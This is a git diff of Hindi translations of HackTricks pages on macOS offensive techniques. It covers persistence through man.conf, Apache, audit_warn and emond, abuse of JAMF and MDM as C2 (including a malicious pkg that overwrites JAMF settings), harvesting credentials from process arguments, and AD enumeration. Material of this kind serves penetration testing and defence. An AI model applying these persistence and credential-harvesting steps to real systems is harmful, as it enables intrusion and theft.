* रूट की आवश्यकता है
* रूट की आवश्यकता होती ह
* **`/private/etc/man.conf`**: हर बार man का उपयोग किया जाता है
#### विवरण और एक्सप्लॉइट
@ -1324,7 +1323,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.
```
MANPAGER /tmp/view
```
और फिर `/tmp/view` को निम्नलिखित रूप में बनाए:
और फिर `/tmp/view` को निम्नलिखित रूप में बनाए:
```bash
#!/bin/zsh
@ -1337,12 +1336,12 @@ touch /tmp/manconf
**लेख**: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
* सैंडबॉक्स को बाईपास करने के लिए उपयोगी: [🟠](https://emojipedia.org/large-orange-circle)
* लेकिन आपको रूट होना चाहिए और एपाचे चल रहा होना चाहिए
* लेकिन आपको रूट यूज़र होना चाहिए और एपाचे चल रहा होना चाहिए
#### स्थान
* **`/etc/apache2/httpd.conf`**
* रूट की आवश्यकता
* रूट यूज़र की आवश्यकता
* ट्रिगर: जब Apache2 शुरू होता है
#### विवरण और उत्पादन
@ -1386,7 +1385,7 @@ syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
* रूट की आवश्यकता
* **ट्रिगर**: जब ऑडिटडी चेतावनी का पता लगाता है
#### विवरण और उत्पाद
#### विवरण और उत्पाद
जबकि ऑडिटडी चेतावनी का पता लगाता है, स्क्रिप्ट **`/etc/security/audit_warn`** **चलाया जाता है**। इसलिए आप इस पर अपने पेलोड जोड़ सकते हैं।
```bash
@ -1454,7 +1453,7 @@ RunService "$1"
Apple ने एक लॉगिंग मेकेनिज़्म को **emond** के नाम से पेश किया। ऐसा लगता है कि इसे कभी पूरी तरह से विकसित नहीं किया गया था, और एप्पल ने अन्य मेकेनिज़्म के लिए इसके विकास को **छोड़ दिया** हो सकता है, लेकिन यह **उपलब्ध** है।
यह छोटा-सा जाना-माना सेवा एक Mac व्यवस्थापक के लिए **बहुत उपयोगी नहीं हो सकती है**, लेकिन एक धमकी प्रदाता के लिए एक बहुत अच्छा कारण होगा कि वह इसे एक **स्थायित्व मेकेनिज़्म के रूप में उपयोग करें, जिसे शायद अधिकांश macOS व्यवस्थापक नहीं जानते** होंगे। emond के दुष्प्रभाव का पता लगाना कठिन नहीं होना चाहिए, क्योंकि सिस्टम लॉन्चडेमन सेवा केवल एक ही स्थान में चलाने के लिए स्क्रिप्ट खोजती है:
यह छोटी-जानी वाली सेवा एक Mac व्यवस्थापक के लिए **बहुत उपयोगी नहीं हो सकती है**, लेकिन एक धमकी प्रदाता के लिए एक बहुत अच्छा कारण होगा कि वह इसे एक **स्थायित्व मेकेनिज़्म के रूप में उपयोग** करें, जिस बारे में शायद अधिकांश macOS व्यवस्थापक जानते ही नहीं होंगे। emond के दुष्प्रभावी उपयोग का पता लगाना कठिन नहीं होना चाहिए, क्योंकि सिस्टम लॉन्चडेमन सेवा केवल एक ही स्थान में चलाने के लिए स्क्रिप्ट खोजती है:
```bash
ls -l /private/var/db/emondClients
```
@ -1475,7 +1474,7 @@ XQuartz **macOS में अब स्थापित नहीं है**,
### ~~kext~~
{% hint style="danger" %}
केवल रूट के रूप में kext स्थापित करना इतना कठिन है कि मैं इसे सैंडबॉक्स से बाहर निकलने या स्थिरता के लिए विचार नहीं करूंगा (जब तक आपके पास कोई शोषण नहीं है)
केवल रूट के रूप में kext स्थापित करना इतना कठिन है कि मैं इसे सैंडबॉक्स से बाहर निकलने या स्थिरता के लिए विचार नहीं करूंगा (जब तक आपके पास कोई अभिकर्म न हो)
{% endhint %}
#### स्थान
@ -1485,7 +1484,7 @@ XQuartz **macOS में अब स्थापित नहीं है**,
* `/System/Library/Extensions`
* OS X ऑपरेटिंग सिस्टम में बिल्ट-इन KEXT फ़ाइलें।
* `/Library/Extensions`
* तृतीय पक्ष सॉफ़्टवेयर द्वारा स्थापित किए गए KEXT फ़ाइलें
* तृतीय-पक्ष सॉफ़्टवेयर द्वारा स्थापित किए गए KEXT फ़ाइलें
आप वर्तमान में लोड किए गए kext फ़ाइलों की सूची देख सकते हैं:
```bash
@ -1625,7 +1624,7 @@ restart) RestartService ;;
esac
}
```
## Persistence तकनीक और उपकरण
## Persistence techniques and tools
* [https://github.com/cedowens/Persistent-Swift](https://github.com/cedowens/Persistent-Swift)
* [https://github.com/D00MFist/PersistentJXA](https://github.com/D00MFist/PersistentJXA)
@ -1634,10 +1633,10 @@ esac
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS क नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS क नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करना चाहिए? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह
* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें और PRs सबमिट करें** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को।**
* प्राप्त करें [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स को हैकट्रिक्स रेपो** (https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **में पीआर जमा करके अपने हैकिंग ट्रिक्स साझा करें।**
</details>

View file

@ -7,7 +7,7 @@
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एकल [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का** **अनुसरण** करें।**
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल** हों या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का पालन करें**.
* **अपने हैकिंग ट्रिक्स को** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **में पीआर जमा करके अपना योगदान दें।**
</details>
@ -17,7 +17,7 @@
* JAMF Pro: `jamf checkJSSConnection`
* Kandji
यदि आप **व्यवस्थापन प्लेटफ़ॉर्म तक प्रशासनिक प्रमाणिका** को संक्रमित करने में सफल होते हैं, तो आप **संभावित रूप से सभी कंप्यूटरों को संक्रमित कर सकते हैं** अपने मैलवेयर को मशीनों में वितरित करके
यदि आप **व्यवस्थापन प्लेटफ़ॉर्म तक प्रशासक प्रमाणपत्रों को संक्रमित करने** के लिए प्रशासक प्रमाणपत्रों को संक्रमित करने में कामयाब हो जाते हैं, तो आप मशीनों में अपने मैलवेयर को वितरित करके **संभावित रूप से सभी कंप्यूटरों को संक्रमित कर सकते हैं**
MacOS पर रेड टीमिंग के लिए MDM के काम करने की कुछ समझ होना अत्यंत अनुशंसित है:
@ -27,27 +27,27 @@ MacOS पर रेड टीमिंग के लिए MDM के काम
### MDM का उपयोग C2 के रूप में
MDM को स्थापित करने की अनुमति होगी, प्रोफ़ाइल स्थापित, प्रश्न करें या हटाएं, एप्लिकेशन स्थापित करे, स्थानीय व्यवस्थापक खाते बनाएं, फर्मवेयर्ट पासवर्ड सेट करे, फ़ाइलवॉल्ट कुंजी बदलें...
MDM को स्थापित, क्वेरी या प्रोफ़ाइल हटाने, एप्लिकेशन स्थापित करे, स्थानीय व्यवस्थापक खातों को बनाने, फर्मवेयर्ट पासवर्ड सेट करे, फ़ाइलवॉल्ट कुंजी बदलने की अनुमति होती है...
अपने खुद के MDM को चलाने के लिए आपको एक विक्रेता द्वारा **आपके सीएसआर को साइन करने की आवश्यकता होगी** जिसे आप [**https://mdmcert.download/**](https://mdmcert.download/) से प्राप्त करने का प्रयास कर सकते हैं। और Apple उपकरणों के लिए अपने खुद के MDM को चलाने के लिए आप [**MicroMDM**](https://github.com/micromdm/micromdm) का उपयोग कर सकते हैं।
अपने खुद के MDM को चलाने के लिए आपको एक विक्रेता द्वारा साइन किए गए अपने CSR की आवश्यकता होती है, जिसे आप [**https://mdmcert.download/**](https://mdmcert.download/) से प्राप्त करने का प्रयास कर सकते हैं। और Apple उपकरणों के लिए अपने खुद के MDM को चलाने के लिए आप [**MicroMDM**](https://github.com/micromdm/micromdm) का उपयोग कर सकते हैं।
हालांकि, एक नामित खाते द्वारा हस्ताक्षरित एक एप्लिकेशन स्थापित करने के लिए आपको अभी भी इसकी आवश्यकता होती है... हालांकि, MDM नामांकन के बाद, **उपकरण MDM का SSL प्रमाणपत्र एक विश्वसनीय सीए रूप में जोड़ता है**, इसलिए अब आप कुछ भी हस्ताक्षर कर सकते हैं।
हालांकि, एक नामित खाते द्वारा हस्ताक्षरित एक एप्लिकेशन स्थापित करने के लिए आपको अभी भी इसकी आवश्यकता होती है... हालांकि, MDM नामांकन के बाद उपकरण **MDM का SSL प्रमाणपत्र विश्वसनीय CA के रूप में जोड़ता है**, इसलिए अब आप कुछ भी हस्ताक्षरित कर सकते हैं।
एक MDM में उपकरण को नामांकित करने के लिए आपको एक **`mobileconfig`** फ़ाइल को रूट के रूप में स्थापित करने की आवश्यकता होती है, जिसे एक **pkg** फ़ाइल के माध्यम से वितरित किया जा सकता है (आप इसे zip में संपीड़ित कर सकते हैं और जब आप सफारी से डाउनलोड करते हैं तो यह अनप्रेस हो जाएगा)।
एक MDM में उपकरण को नामांकित करने के लिए आपको एक **`mobileconfig`** फ़ाइल को रूट के रूप में स्थापित करने की आवश्यकता होती है, जिसे एक **pkg** फ़ाइल के माध्यम से वितरित किया जा सकता है (आप इसे zip में संपीड़ित कर सकते हैं और जब आप सफारी से डाउनलोड करते हैं तो यह अनप्रेस किया जाएगा)।
**Mythic एजेंट Orthrus** इस तकनीक का उपयोग करता है।
### JAMF PRO का दुरुपयोग
JAMF कस्टम स्क्रिप्ट (सिस्टम व्यवस्थापक द्वारा विकसित स्क्रिप्ट), नेटिव पेलोड (स्थानीय खाता बनाना, EFI पासवर्ड सेट करना, फ़ाइल/प्रक्रिया मॉनिटरिंग...) और MDM (उपकरण कॉन्फ़िगरेशन, उपकरण प्रमाणपत्र...) चला सकता है।
JAMF कस्टम स्क्रिप्ट (सिस्टम व्यवस्थापक द्वारा विकसित स्क्रिप्ट), नेटिव पेलोड (स्थानीय खाता बनाना, EFI पासवर्ड सेट करना, फ़ाइल/प्रोसेस मॉनिटरिंग...) और MDM (उपकरण कॉन्फ़िगरेशन, उपकरण प्रमाणपत्र...) चला सकता है।
#### JAMF स्वयं-नामांकन
यदि उनमें **स्वयं-नामांकन सक्षम है**, तो `https://<company-name>.jamfcloud.com/enroll/` जैसी पेज पर जाएं और देखें कि क्या उनमें **प्रमाणिका प्राप्त करने के लिए प्रमाणों की आवश्यकता होती है**।
यदि उनमें **स्वयं-नामांकन सक्षम है**, तो `https://<company-name>.jamfcloud.com/enroll/` जैसी पेज पर जाएं और देखें कि क्या उनमें **प्रमाणपत्र प्राप्त करने के लिए प्रमाणों की आवश्यकता होती है**।
आप [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) स्क्रिप्ट का उपयोग करके पासवर्ड स्प्रे करने की हमला कर सकते हैं।
इसके अलावा, उचित प्रमाणिका प्राप्त करने के बाद आप अन्य उपयोगकर्ता नामों को ब्रूट-फ़ोर
इसके अलावा, उचित प्रमाणों का पता लगाने के बाद आप अन्य उपयोगकर्ता नामों को
```bash
plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
@ -62,7 +62,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
```
{% endcode %}
तो, एक हमलावर्धी यह कर सकता है की वह एक दुष्प्रभावी पैकेज (`pkg`) ड्रॉप करे जो इंस्टॉल होते समय इस फ़ाइल को **ओवरराइट कर देता है** और अब JAMF को C2 के रूप में उपयोग करने के लिए एक Mythic C2 सुनने वाले Typhon एजेंट के URL को सेट कर सकता है।
तो, एक हमलावर्ती एक दुष्ट पैकेज (`pkg`) ड्रॉप कर सकता है जो इंस्टॉल होने पर इस फ़ाइल को **ओवरराइट करता है** और अब टाइफॉन एजेंट से मिथिक सी2 सुनने वाले यूआरएल को अब JAMF का दुरुपयोग करने के लिए सेट करता है।
{% code overflow="wrap" %}
```bash
@ -75,7 +75,7 @@ sudo jamf policy -id 0
#### JAMF अनुकरण
एक उपकरण और JMF के बीच **संचार का अनुकरण** करने के लिए आपको निम्नलिखित चीजें चाहिए:
एक उपकरण और JMF के बीच **संचार का अनुकरण** करने के लिए आपको निम्नलिखित चीजों की आवश्यकता होगी:
* उपकरण का **UUID**: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
* **JAMF keychain**: `/Library/Application\ Support/Jamf/JAMF.keychain` जिसमें उपकरण प्रमाणपत्र होता है
@ -88,7 +88,7 @@ sudo jamf policy -id 0
आप यह भी मॉनिटर कर सकते हैं `/Library/Application Support/Jamf/tmp/` को जहां **कस्टम स्क्रिप्ट** व्यवस्थापक जम्फ के माध्यम से निष्पादित करना चाहते हैं, क्योंकि वे यहां **रखे जाते हैं, निष्पादित किए जाते हैं और हटा दिए जाते हैं**। इन स्क्रिप्ट में **प्रमाणपत्र** हो सकते हैं।
हालांकि, **प्रमाणपत्र** इन स्क्रिप्ट के **पैरामीटर** के रूप में पास किए जा सकते हैं, इसलिए आपको `ps aux | grep -i jamf` (बिना रूट होने के भी) मॉनिटर करने की आवश्यकता होगी।
हालांकि, **प्रमाणपत्र** इन स्क्रिप्ट के **पैरामीटर** के रूप में पास किए जा सकते हैं, इसलिए आपको `ps aux | grep -i jamf` (बिना रूट होने के बावजूद) मॉनिटर करने की आवश्यकता होगी।
स्क्रिप्ट [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) नए फ़ाइलों के जोड़े जाने और नए प्रक्रिया तर्कों के लिए सुन सकता है।
@ -102,7 +102,7 @@ sudo jamf policy -id 0
## सक्रिय निर्देशिका
कुछ मौकों पर आपको पता चलेगा कि **MacOS कंप्यूटर एक AD से जुड़ा हुआ है**। इस स्थिति में आपको निर्देशिका को जांचने की कोशिश करनी चाहिए जैसा कि आप इसे उपयोग कर रहे हैं। निम्नलिखित पृष्ठों में कुछ **मदद** मिलेगी:
कुछ मौकों पर आपको पता चलेगा कि **MacOS कंप्यूटर एक AD से जुड़ा हुआ है**। इस स्थिति में आपको निम्नलिखित पृष्ठों में सहायता मिलेगी जैसा कि आप इसे उपयोग करते हैं। यहां कुछ **मदद** मिलेगी:
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
@ -116,27 +116,27 @@ sudo jamf policy -id 0
[pentesting-kerberos-88](../../network-services-pentesting/pentesting-kerberos-88/)
{% endcontent-ref %}
कुछ **स्थानीय MacOS टूल** जो आपकी मदद कर सकते हैं है `dscl`:
कुछ **स्थानीय MacOS उपकरण** जो आपकी मदद कर सकते हैं है `dscl`:
```bash
dscl "/Active Directory/[Domain]/All Domains" ls /
```
इसके अलावा, MacOS के लिए कुछ टूल तैयार किए गए हैं जो स्वचालित रूप से AD की जांच करते हैं और kerberos के साथ खेलते हैं:
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound एक Bloodhound ऑडिटिंग टूल का एक विस्तार है जो MacOS होस्ट पर Active Directory संबंधों को संग्रहीत और अवशोषित करने की अनुमति देता है।
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost एक Objective-C परियोजना है जो macOS पर Heimdal krb5 APIs के साथ संवाद करने के लिए डिज़ाइन की गई है। परियोजना का उद्देश्य, लक्ष्य को पूरा करने के लिए है, जो macOS उपकरणों पर Kerberos के आसनी से सुरक्षा परीक्षण को सक्षम करता है, निर्देशिका में किसी अन्य फ्रेमवर्क या पैकेज की आवश्यकता नहीं होती है।
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound एक Bloodhound ऑडिटिंग टूल का एक एक्सटेंशन है जो MacOS होस्ट पर Active Directory संबंधों को संग्रहीत और इंजेस्ट करने की अनुमति देता है।
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost एक Objective-C परियोजना है जो macOS पर Heimdal krb5 APIs के साथ इंटरैक्ट करने के लिए डिज़ाइन की गई है। परियोजना का उद्देश्य, लक्ष्य को पूरा करने के लिए निर्देशिका के ऊपर मूल एपीआई का उपयोग करके macOS उपकरणों पर Kerberos के आसपास बेहतर सुरक्षा परीक्षण संभव बनाना है, जिसमें लक्ष्य पर किसी अन्य फ्रेमवर्क या पैकेज की आवश्यकता नहीं होती है।
* [**Orchard**](https://github.com/its-a-feature/Orchard): Active Directory जाँच करने के लिए JavaScript for Automation (JXA) टूल।
### डोमेन जानकारी
### डोमेन सूचना
```bash
echo show com.apple.opendirectoryd.ActiveDirectory | scutil
```
### उपयोगकर्ता
MacOS के तीन प्रकार के उपयोगकर्ता होते हैं:
MacOS के तीन प्रकार के उपयोगकर्ता हैं:
* **स्थानीय उपयोगकर्ता** - स्थानीय ओपन डायरेक्टरी सेवा द्वारा प्रबंधित होते हैं, वे किसी भी तरीके से सक्रिय नहीं होते हैं।
* **नेटवर्क उपयोगकर्ता** - सक्रिय निरंतर नेटवर्क उपयोगकर्ता जो प्रमाणित करने के लिए DC सर्वर से कनेक्ट होने की आवश्यकता होती है।
* **मोबाइल उपयोगकर्ता** - स्थानीय बैकअप के साथ सक्रिय निरंतर उपयोगकर्ता जिनके पास क्रेडेंशियल और फ़ाइलों के लिए स्थानीय बैकअप होता है।
* **स्थानीय उपयोगकर्ता** - स्थानीय ओपन डायरेक्टरी सेवा द्वारा प्रबंधित होते हैं, वे किसी भी तरीके से सक्रिय निर्देशिका से कनेक्ट नहीं होते हैं।
* **नेटवर्क उपयोगकर्ता** - सक्रिय निर्देशिका के उपयोगकर्ता जो प्रमाणित करने के लिए DC सर्वर से कनेक्शन की आवश्यकता होती है।
* **मोबाइल उपयोगकर्ता** - स्थानीय बैकअप के साथ सक्रिय निर्देशिका के उपयोगकर्ता जो अपने क्रेडेंशियल्स और फ़ाइलों के लिए एक स्थानीय बैकअप की आवश्यकता होती है।
स्थानीय उपयोगकर्ता और समूहों के बारे में स्थानीय जानकारी _/var/db/dslocal/nodes/Default_ फ़ोल्डर में संग्रहीत होती है।
उदाहरण के लिए, _mark_ नामक उपयोगकर्ता की जानकारी _/var/db/dslocal/nodes/Default/users/mark.plist_ में संग्रहीत होती है और _admin_ समूह की जानकारी _/var/db/dslocal/nodes/Default/groups/admin.plist_ में होती है।
@ -179,7 +179,7 @@ dsconfigad -show
## बाहरी सेवाएं
MacOS रेड टीमिंग एक सामान्य Windows रेड टीमिंग से अलग होती है क्योंकि आमतौर पर **MacOS कई बाहरी प्लेटफॉर्मों के साथ सीधे एकीकृत होता है**। MacOS का एक सामान्य कॉन्फ़िगरेशन कंप्यूटर तक पहुंचने के लिए **OneLogin सिंक्रनाइज़ड क्रेडेंशियल का उपयोग करना है, और OneLogin के माध्यम से कई बाहरी सेवाओं** (जैसे github, aws...) तक पहुंचना है:
MacOS रेड टीमिंग एक सामान्य Windows रेड टीमिंग से अलग होती है क्योंकि आमतौर पर **MacOS कई बाहरी प्लेटफॉर्मों के साथ सीधे एकीकृत होता है**। MacOS का एक सामान्य कॉन्फ़िगरेशन कंप्यूटर तक पहुंचने के लिए **OneLogin सिंक्रनाइज़ड क्रेडेंशियल का उपयोग करना है, और OneLogin के माध्यम से कई बाहरी सेवाओं** (जैसे github, aws...) तक पहुंचना है:
![](<../../.gitbook/assets/image (563).png>)
@ -187,7 +187,7 @@ MacOS रेड टीमिंग एक सामान्य Windows रे
### सफारी
जब सफारी में एक फ़ाइल डाउनलोड की जाती है, तो यदि यह एक "सुरक्षित" फ़ाइल है, तो यह **स्वचालित रूप से खोल दी जाएगी**। इसलिए उदाहरण के लिए, यदि आप **एक zip फ़ाइल डाउनलोड करते हैं**, तो यह स्वचालित रूप से डीकंप्रेस हो जाएगी:
जब सफारी में एक फ़ाइल डाउनलोड की जाती है, तो यदि यह एक "सुरक्षित" फ़ाइल है, तो यह **स्वचालित रूप से खोल दी जाएगी**। इसलिए उदाहरण के लिए, यदि आप **एक ज़िप फ़ाइल डाउनलोड करते हैं**, तो यह स्वचालित रूप से डीकंप्रेस हो जाएगी:
<figure><img src="../../.gitbook/assets/image (12) (3).png" alt=""><figcaption></figcaption></figure>
@ -203,10 +203,10 @@ MacOS रेड टीमिंग एक सामान्य Windows रे
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड** करने का उपयोग करना चाहते हैं? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन की।
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड** करने का उपयोग करना चाहते हैं? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* **[💬](https://emojipedia.org/speech-balloon/) [Discord समूह](https://discord.gg/hRep4RUj7f) या [telegram समूह](https://t.me/peass) में शामिल हों** या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का** अनुसरण करें।
* **अपने हैकिंग ट्रिक्स साझा करें, PRs के माध्यम से** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को सबमिट करके**
* **अपने हैकिंग ट्रिक्स को हमारे** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **में पीआर जमा करके अपने हैकिंग ट्रिक्स साझा करें।**
</details>

View file

@ -4,7 +4,7 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ हैकट्रिक्स क्लाउड ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 ट्विटर 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ ट्विच 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 यूट्यूब 🎥</strong></a></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड** करने का एक्सेस चाहिए? [**सदस्यता की योजनाएं**](https://github.com/sponsors/carlospolop) देखें!
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड** करने का एक्सेस चाहिए? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) देखें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
* [**PEASS और HackTricks की आधिकारिक स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **डिस्कॉर्ड समूह** या **टेलीग्राम समूह** में **शामिल हों** या **मुझे ट्विटर पर फ़ॉलो करें** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
@ -18,11 +18,11 @@
### आवश्यकताएं
स्वाभाविक रूप से, यह इतना शक्तिशाली है कि कर्नल एक्सटेंशन्स को लोड करना **कठिन होता है**। एक कर्नल एक्सटेंशन को लोड करने के लिए ये हैं **आवश्यकताएं**:
स्वाभाविक रूप से, यह इतना शक्तिशाली है कि कर्नल एक्सटेंशन्स को लोड करना **कठिन होता है**। एक कर्नल एक्सटेंशन को लोड करने के लिए ये हैं उन आवश्यकताएं:
* **रिकवरी मोड में प्रवेश करते समय**, कर्नल **एक्सटेंशन्स को लोड करने की अनुमति देनी चाहिए**:
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
* कर्नल एक्सटेंशन को **कर्नल कोड साइनिंग सर्टिफिकेट** के साथ **साइन किया जाना चाहिए**, जो केवल **एप्पल द्वारा प्रदान** किया जा सकता है। जो कंपनी और कारणों की विस्तृत समीक्षा करेगा।
* कर्नल एक्सटेंशन को **नोटराइज़्ड** भी होना चाहिए, जिसे एप्पल मैलवेयर के लिए जांच सकेगा।
@ -32,4 +32,4 @@
### लोडिंग प्रक्रिया
कैटालिना में ऐसा था: ध्यान देने योग्य है कि **सत्यापन** प्रक्रिया **यूजरलैंड** में होती है। हालांकि, केवल **`com.apple.private.security.kext-management`** अन
कैटालिना में ऐसा था: ध्यान देने योग्य है कि **सत्यापन** प्रक्रिया **यूजरलैंड** में होती है। हालांकि, केवल **`com.apple.private.security.kext-management`** अन

View file

@ -4,21 +4,21 @@
